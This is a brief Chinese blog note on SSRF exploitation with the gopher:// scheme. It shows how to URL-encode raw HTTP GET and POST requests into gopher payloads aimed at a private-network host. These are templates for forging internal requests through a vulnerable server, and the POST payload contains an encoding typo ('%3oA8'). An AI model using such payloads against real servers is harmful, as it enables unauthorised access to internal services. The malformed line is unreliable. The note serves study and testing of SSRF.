SSRF


1.gopher

gopher://<host>:<port>/<gopher-path>TCP数据流

GET请求

<         GET /get.php?name=bob HTTP/1.1
		Host: 127.0.0.1
                     >    
将以上内容进行URL编码(回车换行需要变成%0d%0a,http包的最后要添加%0d%0a)
gopher://192.168.82.139:80/_GET%20%2Fget.php%3Fname%3Dbob%20HTTP%2F1.1%0d%0AHost%3A%20192.168.82.139%0d%0a

POST请求

<         POST  /post.php HTTP/1.1
	               Host: 127.0.0.1
	               Content-Type:application/x-www-form-urlencoded
                               Content-Length:8
	               
	               name=bob
	 > 
将以上内容进行URL编码(回车换行需要变成%0d%0a,http包的最后要添加%0d%0a)	gopher://192.168.82.139:80/_POST%20%20%2Fpost.php%20HTTP%2F1.1%0d%0AHost%3A%20192.168.82.139%0d%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0AContent-Length%3oA8%0d%0A%0d%0Aname%3Dbob%0d%0a

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录